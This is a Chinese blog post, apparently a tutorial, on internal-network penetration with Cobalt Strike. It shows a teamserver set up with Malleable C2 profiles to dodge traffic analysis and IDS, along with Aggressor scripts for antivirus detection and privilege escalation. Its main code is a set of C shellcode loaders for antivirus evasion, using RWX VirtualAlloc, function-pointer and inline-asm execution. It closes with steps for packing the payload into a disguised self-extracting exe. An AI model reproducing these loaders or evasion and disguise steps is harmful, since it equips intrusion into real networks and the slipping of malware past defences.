主页 > 网络知识 > 内网渗透实验:基于Cobaltstrike的一系列实验

内网渗透实验:基于Cobaltstrike的一系列实验

去年年初发了一篇文章Web渗透实验:基于Weblogic的一系列漏洞,今年把这篇文章接力写一下。

通常来讲,拿到webshell我们一般可以这么利用(百度搜索:内网渗透之reGeorg+Proxifier)。

这篇文章用cs开启代理,用proxifier连接后潜入内网。

这里引用一张实验室小伙伴总结的内网常见工具图。

内网渗透实验:基于Cobaltstrike的一系列实验


有兴趣同学可以看看该文章。

第一步:cobaltstrike服务端客户端 一、服务端

1.流量检测绕过

定义C2的通信格式,修改CS默认的流量特征,以对抗流量分析

开源Profiles: https://github.com/rsmudge/Malleable-C2-Profiles

2.测试运行Profiles是否正常

./c2lint

没有出现红色的提示则为正常

内网渗透实验:基于Cobaltstrike的一系列实验

3.后台运行

一般都是用服务器,所以关闭终端就是断开与服务器的连接,且当前运行的进程会结束,所以我们需要后台运行

但是当我使用nohup启动时,还是发现会间歇的终断我的服务端。

这里使用screen工具

安装:

CentOS/RedHat/Fedora

yum -y install screen

Ubuntu/Debian

apt-get -y install screen

常用命令:

创建会话(-m 强制):

screen -dmS name

查看所有会话:

screen -ls

进入会话:

screen -r name

远程deatch某个会话(暂时离开某session)

screen -d (screen -d yourname )

退出当前的会话保持程序运行

ctrl+a+d

服务端启动命令:

sodu ./teamserver 服务器IP 连接密码 Profiles文件(Profiles是为了绕过ids,可以不写)

内网渗透实验:基于Cobaltstrike的一系列实验

二、客户端

1.打开cs

 java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar

这里用的是3.14patch中文版(文末见下载地址)

2.AggressorScripts(侵略者脚本)

脚本介绍:(不增加篇幅了,引用2篇文章)

使用Aggressor脚本雕饰Cobalt Strike

笔者常用:

AVQuery.nsa (通过检查注册表键值来判断杀毒软件)

ProcessColor.cna(显示带有颜色的进程列表)

ProcessMonitor.cna(指定时间段内对于程序运行情况的监控)

elevate.cna(增加五种提权方式)

3.shellcode免杀及捆绑exe

(1)生成shellcode

(2)c加载(网络收集的加载方法)

#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { ((void(*)(void))&shellcode)(); } #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { PVOID p = NULL; if((p = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)) == NULL) MessageBox(NULL,"VirtuallAlloc Failed!!!","Prompt",MB_OK); if(!(memcpy(p,shellcode,sizeof(shellcode)))) MessageBox(NULL,"WriteMemory Failed!!!","Prompt",MB_OK); CODE code = (CODE)p; code(); } #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { __asm { lea eax,shellcode; jmp eax; } } #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { __asm { mov eax,offset shellcode; jmp eax; } } #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { __asm { mov eax,offset shellcode; _emit 0xFF; _emit 0xE0; } } #include <windows.h> #include <stdio.h> unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; unsigned char noshellcode[] = ""; void main() { ((void(*)(void))&noshellcode)(); }

用python go等语言打包成exe免杀效果更佳。

(3)自解压

1、coblatstrike 生成的shellcode经过处理生成的exe,然后准备一个exe的程序。

2、鼠标右键,添加到压缩文件。点击创建自解压格式压缩文件。rar就会变成exe后缀的文件。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!